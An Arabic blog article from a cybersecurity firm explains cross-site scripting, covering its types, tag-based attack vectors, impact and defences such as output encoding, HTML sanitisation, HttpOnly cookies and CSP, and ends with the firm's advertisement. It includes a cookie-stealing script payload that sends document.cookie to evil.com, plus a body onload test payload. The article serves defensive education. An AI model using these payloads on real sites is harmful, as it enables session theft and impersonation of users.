ما هو XSS ؟ في ظل العولمة الكبير التي نعيشها اليوم والانفتاح الحضاري الذي جعل العالم أجمع بين أيدينا من خلال الوصول بسهولة للانترنت والذكاء الاصطناعي الذي وفر الكثير علينا كبشر ظهرت الضرورة الملحة لوجود تشابك وانفتاح حضاري في العالم.

من جهة نجد ان هذا الانفتاح والتشابك الذي يعيشه العالم امر مهم وضروري في كافة المجالات تقريباً، لكن من جهة أخرى لو نظرنا لموضوع الامن السيبراني سنرى انه يجب علينا الابتعاد او الحرص اكثر فيما يخص التشابك مع الآخر، فكلما زاد الانفتاح والتشابك قلة الفرصة لديك في الأمان وزادت إمكانية تعرضك لهجمات سيبرانية مختلفة، لذا علينا كمستخدمين الحرص اكثر فيما يخص الامن والتعامل بحرص وانتباه كبيرين لئلا نقع فريسة للثغرات والهجمات الالكترونية التي قد تباغتنا في أي لحظة، ومن ابرز هذه الثغرات الثغرة الأمنية XSS، فما هو XSS  ؟

 

ما هو XSS

تعرف ايضاً باسم البرمجة العابرة للمواقع و (المعروفة أيضًا باسم XSS) وهي ثغرة أمنية على الويب تتيح للمهاجم اختراق التعاملات التي يجريها المستخدمون مع التطبيقات الضعيفة، حيث يسمح للمهاجم بالتحايل على نفس سياسة الأصل المصممة لفصل مواقع الويب المختلفة عن بعضها البعض، وعادةً ما تسمح نقاط الضعف في البرمجة النصية عبر المواقع للمهاجم بالتنكر كمستخدم ضحية، وتنفيذ أي إجراءات يستطيع المستخدم القيام بها والوصول إلى أي من بيانات المستخدم، وإذا كان المستخدم الضحية يتمتع بامتيازات الوصول داخل التطبيق، فقد يتمكن المهاجم من التحكم الكامل في جميع وظائف وبيانات التطبيق.

تكون صفحة الويب أو المستخدم عرضة لـ XSS إذا كانت تستخدم مدخلات مستخدم غير مصححة في المخرجات التي تولدها، لذا يجب بعد ذلك تحليل إدخال المستخدم هذا بواسطة متصفح الضحية، ومن الجدير بالذكر أن هجمات XSS ممكنة في VBScript و ActiveX و Flash وحتى CSS، ومع ذلك فهي أكثر شيوعًا في JavaScript ، ويرجع ذلك أساسًا إلى أن JavaScript أساسي لمعظم تجارب التصفح.

كيف يعمل XSS

قبل ان نتعرف على آلية عمل البرمجة العابرة للمواقع او XSS فيمكننا القول ان XSS ليست مشكلة بحد ذاتها وليست ثغرة امنية يمكنها اطلاقها في الويب بشكل عشوائي ولكن إذا تمكن المهاجم من إساءة استخدام ثغرة XSS على صفحة ويب لتنفيذ جافا سكريبت تعسفيًا في متصفح المستخدم ، فسيتم اختراق أمان موقع الويب هذا أو تطبيق الويب الضعيف ومستخدميه، لذا ف XSS ليست مشكلة المستخدم مثل أي ثغرة أمنية أخرى، ف إذا كانت هذه الثغرة تؤثر على المستخدمين لديك ، فإنها ستؤثر عليك بالتأكيد.

ويمكن أيضًا استخدام البرمجة النصية عبر المواقع لتشويه موقع الويب بدلاً من استهداف المستخدم، حيث يقوم المهاجم باستخدام البرامج النصية المحقونة لتغيير محتوى موقع الويب أو حتى إعادة توجيه المتصفح إلى صفحة ويب أخرى كأن تحتوي صفحة ما على تعليمات برمجية ضارة.

وفيما يخص آلية عمل   XSS  تعمل البرمجة العابرة للمواقع من خلال معالجة موقع ويب ضعيف بحيث يعيد JavaScript ضار للمستخدمين، وعندما يتم تنفيذ التعليمات البرمجية الضارة داخل متصفح الضحية، يمكن للمهاجم اختراق تفاعله مع التطبيق بشكل كامل.

وللتفصيل اكثر يمكننا القول ان البرمجة العابرة للمواقع تمر بمرحلتان لهجوم XSS النموذجي، وهما:

  • لتشغيل شفرة JavaScript ضارة في متصفح الضحية ، يجب على المهاجم أولاً إيجاد طريقة لإدخال شفرة ضارة (حمولة) في صفحة الويب التي يزورها الضحية.
  • بعد ذلك ، يجب على الضحية زيارة صفحة الويب التي تحتوي على الشفرة الخبيثة، فإذا كان الهجوم موجهًا إلى ضحايا معينين ، فيمكن للمهاجم استخدام الهندسة الاجتماعية و / أو التصيد الاحتيالي لإرسال عنوان URL ضار إلى الضحية.

لكي تكون الخطوة الأولى ممكنة ، يحتاج موقع الويب الضعيف إلى تضمين مدخلات المستخدم مباشرةً في صفحاته، ويمكن للمهاجم بعد ذلك إدخال سلسلة ضارة سيتم استخدامها داخل صفحة الويب ومعاملتها على أنها شفرة مصدر بواسطة متصفح الضحية، وهناك أيضًا أنواع مختلفة من هجمات XSS حيث يجذب المهاجم المستخدم لزيارة عنوان URL باستخدام الهندسة الاجتماعية والحمولة جزء من الارتباط الذي ينقر عليه المستخدم.

 

سرقة ملفات تعريف الارتباط باستخدام XSS

غالبًا ما يستخدم المجرمون XSS لسرقة ملفات تعريف الارتباط، لكونه يسمح لهم بانتحال شخصية الضحية، حيث يمكن للمهاجم إرسال ملف تعريف الارتباط إلى الخادم الخاص به بعدة طرق. أحدها هو تنفيذ البرنامج النصي التالي من جانب العميل في متصفح الضحية:

سرقة ملفات تعريف الارتباط باستخدام XSS

غالبًا ما يستخدم المجرمون XSS لسرقة ملفات تعريف الارتباط. هذا يسمح لهم بانتحال شخصية الضحية. يمكن للمهاجم إرسال ملف تعريف الارتباط إلى الخادم الخاص به بعدة طرق. أحدها هو تنفيذ البرنامج النصي التالي من جانب العميل في متصفح الضحية:

<script> window.location=”http://evil.com/?cookie=” + document.cookie </script>

حيث يقوم المهاجم بحقن حمولة في قاعدة بيانات موقع الويب عن طريق إرسال نموذج ضعيف مع محتوى جافا سكريبت ضار، خلال قيام الضحية بطلب صفحة الويب من خادم الويب، يقوم خادم الويب بتقديم لمتصفح الضحية الصفحة التي تحتوي على حمولة المهاجم كجزء من نص HTML، بعدها ينفذ متصفح الضحية البرنامج النصي الضار الموجود في نص HTML، وفي هذه الحالة يرسل ملف تعريف ارتباط الضحية إلى خادم المهاجم.

يحتاج المهاجم الآن ببساطة إلى استخراج ملف تعريف ارتباط الضحية عندما يصل طلب HTTP إلى الخادم، ويمكن للمهاجم الآن استخدام ملف تعريف الارتباط المسروق للضحية لانتحال الهوية.

 

ما هي أنواع هجمات XSS

هناك ثلاثة أنواع رئيسية من هجمات XSS، وهذه الهجمات هي ما يلي:

 

  • XSS المنعكس

حيث يأتي البرنامج النصي الضار من طلب HTTP الحالي، ,هو أبسط أنواع البرمجة العابرة للمواقع، والذي ينشأ عندما يتلقى أحد التطبيقات بيانات في طلب HTTP ويتضمن تلك البيانات في الاستجابة الفورية بطريقة غير آمنة.

لا يقوم التطبيق بأي معالجة أخرى للبيانات، لذلك يمكن للمهاجم بسهولة إنشاء هجوم، وإذا قام المستخدم بزيارة عنوان URL الذي أنشأه المهاجم فسيتم تنفيذ البرنامج النصي للمهاجم في متصفح المستخدم، وفي سياق جلسة هذا المستخدم مع التطبيق يمكن للبرنامج النصي تنفيذ أي إجراء واسترداد أي بيانات يمكن للمستخدم الوصول إليها.

 

  • XSS المخزنة

حيث يأتي البرنامج النصي الضار من قاعدة بيانات موقع الويب، وهنا عندما يتلقى أحد التطبيقات بيانات من مصدر غير موثوق به ويتضمن تلك البيانات في استجابات HTTP اللاحقة بطريقة غير آمنة.

يمكن تقديم البيانات المعنية إلى التطبيق عبر طلبات HTTP على سبيل المثال ، التعليقات على منشور مدونة ، أو ألقاب المستخدم في غرفة الدردشة، أو تفاصيل الاتصال على طلب العميل، وفي حالات أخرى ، قد تصل البيانات من مصادر أخرى غير موثوق بها على سبيل المثال ، تطبيق بريد الويب الذي يعرض الرسائل المستلمة عبر SMTP، أو تطبيق التسويق الذي يعرض منشورات الوسائط الاجتماعية، أو تطبيق مراقبة الشبكة الذي يعرض حزم البيانات من حركة مرور الشبكة، لا يقوم التطبيق بأي معالجة أخرى للبيانات ، لذلك يمكن للمهاجم بسهولة إرسال رسالة تهاجم المستخدمين الآخرين.

 

  • XSS المستند إلى DOM

حيث توجد الثغرة الأمنية في التعليمات البرمجية من جانب العميل بدلاً من التعليمات البرمجية من جانب الخادم، عندما يحتوي التطبيق على بعض JavaScript من جانب العميل الذي يعالج البيانات من مصدر غير موثوق به بطريقة غير آمنة، عادةً عن طريق إعادة البيانات إلى DOM.

 

اهداف ثغرة XSS

عادةً ما يكون المهاجم الذي يستغل ثغرة أمنية في البرمجة العابرة للمواقعXSS  قادرًا على:

  • انتحال شخصية المستخدم الضحية أو التنكر فيها.
  • تنفيذ أي إجراء يستطيع المستخدم القيام به.
  • قراءة البيانات التي يستطيع المستخدم الوصول إليها.
  • الحصول على بيانات اعتماد تسجيل دخول المستخدم.
  • إجراء تشويه افتراضي لموقع الويب.
  • إدخال وظائف طروادة في موقع الويب.

متجهات هجوم البرمجة النصية عبر المواقع

فيما يلي قائمة بموجهات هجوم XSS الشائعة التي يمكن للمهاجم استخدامها لخرق أمان موقع ويب أو تطبيق ويب من خلال هجوم XSS:

  • علامة <script>

العلامة <script> هي حمولة XSS الأكثر وضوحًا، ويمكن أن تشير علامة البرنامج النصي إلى تعليمات JavaScript البرمجية الخارجية أو يمكنك تضمين التعليمات البرمجية في علامة البرنامج النصي نفسها.

  • JavaScript

يمكن استخدام سمات أحداث JavaScript مثل onload و onerror في العديد من العلامات المختلفة، ويعتبر هذا ناقل هجوم XSS شائع جدًا.

  • علامة <body>

يمكن تسليم حمولة XSS داخل <body> باستخدام سمات الحدث مثل الكود التالي:

<!– onload attribute in the <body> tag –> <body onload=alert(“XSS”)>

أو سمات أخرى أكثر غموضًا مثل سمة الخلفية.

 

  • علامة <img>

تقوم بعض المتصفحات بتنفيذ JavaScript الموجود في سمات <img>.

  • علامة <iframe>

تتيح لك العلامة <iframe> تضمين صفحة HTML أخرى في الصفحة الحالية، وقد يحتوي IFrame على JavaScript ولكن JavaScript في IFrame ليس لديه حق الوصول إلى DOM للصفحة الرئيسية بسبب سياسة أمان المحتوى (CSP) للمتصفح، ومع ذلك لا تزال IFrame فعالة للغاية في شن هجمات التصيد الاحتيالي.

  • علامة <input>

في بعض المتصفحات إذا تم تعيين سمة النوع للعلامة <input> على صورة، فيمكن معالجتها لتضمين نص برمجي.

  • علامة <link>

قد تحتوي علامة <link> التي تُستخدم غالبًا للارتباط بصفحات أنماط خارجية على نص برمجي.

  • علامة <table>

يمكن استغلال سمة الخلفية للعلامات <table> و <td> للإشارة إلى برنامج نصي بدلاً من صورة.

 

  • علامة <div>

يمكن لعلامة <div> المشابهة لعلامتي <table> و <td>  تحديد خلفية وبالتالي تضمين برنامج نصي.

 

  • علامة <object>

يمكن استخدام علامة <object> لتضمين برنامج نصي من موقع خارجي.

 

تأثير ثغرات XSS

يعتمد التأثير الفعلي لهجوم XSS بشكل عام على طبيعة التطبيق ووظائفه وبياناته وحالة المستخدم المعرض للخطر. فمثلا:

 

  • في تطبيق الكتيبات الدعائية، حيث يكون جميع المستخدمين مجهولين وجميع المعلومات عامة، يكون التأثير غالبًا ضئيلًا.
  • في تطبيق يحتوي على بيانات حساسة، مثل المعاملات المصرفية أو رسائل البريد الإلكتروني أو سجلات الرعاية الصحية، يكون التأثير خطيرًا في العادة.
  • إذا كان لدى المستخدم المخترق امتيازات مرتفعة داخل التطبيق، فسيكون التأثير حرجًا بشكل عام مما يسمح للمهاجم بالتحكم الكامل في التطبيق الضعيف وتعريض جميع المستخدمين وبياناتهم للخطر.

 

كيفية منع XSS وحماية موقعي منه

إن منع البرمجة العابرة للمواقع (XSS) ليس بالأمر السهل، فتعتمد تقنيات الوقاية المحددة على النوع الفرعي لثغرة XSS، وعلى سياق استخدام مدخلات المستخدم، و إطار عمل البرمجة، ومع ذلك هناك بعض المبادئ الإستراتيجية العامة التي يجب عليك اتباعها للحفاظ على أمان تطبيق الويب الخاص بك:

  • الوعي والدراية التامة ب ما هية ثغرة XSS

للحفاظ على تطبيق الويب الخاص بك آمنًا ، يجب أن يكون كل من يشارك في إنشاء تطبيق الويب على دراية بالمخاطر المرتبطة بنقاط ضعف XSS، فيجب أن توفر تدريبًا أمنيًا مناسبًا لجميع المطورين وموظفي ضمان الجودة و DevOps و SysAdmins.

 

  • لا تثق في مدخلات المستخدم

تعامل مع جميع مدخلات المستخدم على أنها غير موثوق بها، أي إدخال مستخدم يتم استخدامه كجزء من مخرجات HTML يعرضك وموقعك لمخاطرة XSS، لذا تعامل مع المدخلات من المستخدمين المصادق عليهم و / أو الداخليين بنفس الطريقة التي تعامل بها الإدخال العام.

 

  • استخدم الترميز

استخدم أسلوب escaping / encoding ترميز مناسبًا اعتمادًا على مكان استخدام إدخال المستخدم: ترميز HTML ، وترميز جافا سكريبت ، وترميز CSS ، وترميز عنوان URL ، وما إلى ذلك، استخدم المكتبات الحالية للترميز ، ولا تكتب بنفسك إلا إذا كان ذلك ضروريًا للغاية.

 

 

  • طهر ال HTML

إذا احتاج إدخال المستخدم إلى احتواء HTML ، فلا يمكنك إلغاءه / ترميزه لأنه قد يؤدي إلى كسر العلامات الصالحة، لذا في مثل هذه الحالات  استخدم مكتبة موثوقة وقم بالتحقق منها لتحليل وتنظيف HTML، و اختر المكتبة بناءً على لغة التطوير لديك ، على سبيل المثال HtmlSanitizer for .NET أو SanitizeHelper for Ruby on Rails.

 

  • قم بتعيين علامة HttpOnly

للتخفيف من عواقب ثغرة أمنية محتملة في XSS  قم بتعيين علامة HttpOnly لملفات تعريف الارتباط، إذا قمت بذلك فلن يمكن الوصول إلى ملفات تعريف الارتباط هذه عبر JavaScript من جانب العميل.

  • استخدم سياسة أمان المحتوى

للتخفيف من عواقب ثغرة أمنية محتملة في XSS ، استخدم أيضًا سياسة أمان المحتوى (CSP)، حيث CSP هو رأس استجابة HTTP يتيح لك إعلان الموارد الديناميكية المسموح بتحميلها بناءً على مصدر الطلب.

 

  • استخدام ماسح الثغرات بانتظام

قد يتم تقديم ثغرات XSS من قبل المطورين أو من خلال المكتبات / الوحدات / البرامج الخارجية. يجب عليك فحص تطبيقات الويب الخاصة بك بانتظام باستخدام ماسح ثغرات الويب.

 

الأسئلة الشائعة حول XSS

  • ما مدى شيوع ثغرات XSS؟

تعد ثغرات XSS شائعة جدًا، ومن المحتمل أن تكون XSS هي أكثر ثغرات أمان الويب حدوثًا.

 

  • ما مدى شيوع هجمات XSS؟

من الصعب الحصول على بيانات موثوقة حول هجمات XSS الواقعية، ولكن من المحتمل أن يتم استغلالها بشكل أقل تكرارًا من الثغرات الأمنية الأخرى.

 

  • ما هو الفرق بين XSS و CSRF؟

يتضمن XSS التسبب في قيام موقع ويب بإرجاع JavaScript ضار، بينما يتضمن CSRF حث المستخدم الضحية على تنفيذ إجراءات لا يعتزم القيام بها.

 

  • ما هو الفرق بين XSS و SQL injection؟

XSS عبارة عن ثغرة أمنية من جانب العميل تستهدف مستخدمي التطبيقات الآخرين ، بينما يعد إدخال SQL ثغرة أمنية من جانب الخادم تستهدف قاعدة بيانات التطبيق.

 

  • كيف أمنع XSS في PHP؟

قم بتصفية مدخلاتك بقائمة بيضاء من الأحرف المسموح بها واستخدم تلميحات الكتابة أو نوع الصب.، وتخلص من مخرجاتك باستخدام عناصر html و ENT_QUOTES لسياقات HTML ، أو ترميز JavaScript Unicode لسياقات JavaScript.

 

  • كيف أمنع XSS في Java؟

قم بتصفية مدخلاتك بقائمة بيضاء من الأحرف المسموح بها واستخدم مكتبة مثل Google Guava لترميز مخرجاتك بتنسيق HTML لسياقات HTML ، أو استخدم JavaScript Unicode escapes لسياقات JavaScript.

 

شركة سايبر وان لمكافحة الابتزاز الالكتروني

شركة سايبر وان هي شركة رائدة في مجال الامن السيبراني والمعلوماتي ومكافحة الجرائم الالكترونية الابتزاز الالكتروني بكافة انواعه، لذا فإنه في حال تعرضك لأي عملية ابتزاز الكتروني او عاطفي او غيره من علميات الابتزاز او أي جريمة الكترونية، يمكنك التواصل معنا من خلال ارقامنا او البريد الالكتروني، بالاتصال المباشر او على الواتس اب :

972533392585+

972505555511+

info@cyberone.co

حيث نقدم لك المساعدة التي تريدها بالشكل المطلوب، من خلال حل مشكلتك بأسرع وقت ممكن، والوصول اليك وللمبتز أينما كنتما، وبسرية تامة.

 

XSS وهو عبارة عن ثغرة امنية تسمى بالبرمجة العابرة للمواقع والتي تتيح للمهاجم اختراق التعاملات التي يجريها المستخدمون مع التطبيقات التي يسهل الوصول اليها والغير آمنة، حيث يسمح للمهاجم بالتحايل على نفس سياسة الأصل المصممة لفصل مواقع الويب المختلفة عن بعضها البعض، لذا كان من الضروري اتخاذ الإجراءات اللازمة لحماية الموقع الخاص بنا والمستخدمين له من هذه الثغرة.

 

جميع الحقوق محفوظة لشركة سايبر وان المختصة في الامن السيبراني والجرائم الإلكترونية لا يحق لكم نقل او اقتباس اي شيء بدون موافقه الشركة قد يعاقب عليها القانون.

للتواصل info@cyberone.co

00972533392585

 

الحماية الالكترونية

CyberoneAuthor posts

المهندس احمد بطو مختص أمن المعلومات والجرائم الإلكترونية وسفيراً لنوايا الحسنة لمنظمة يونتيك الدولية للأمان على الإنترنت.

اترك تعليقاً

لن يتم نشر عنوان بريدك الإلكتروني. الحقول الإلزامية مشار إليها بـ *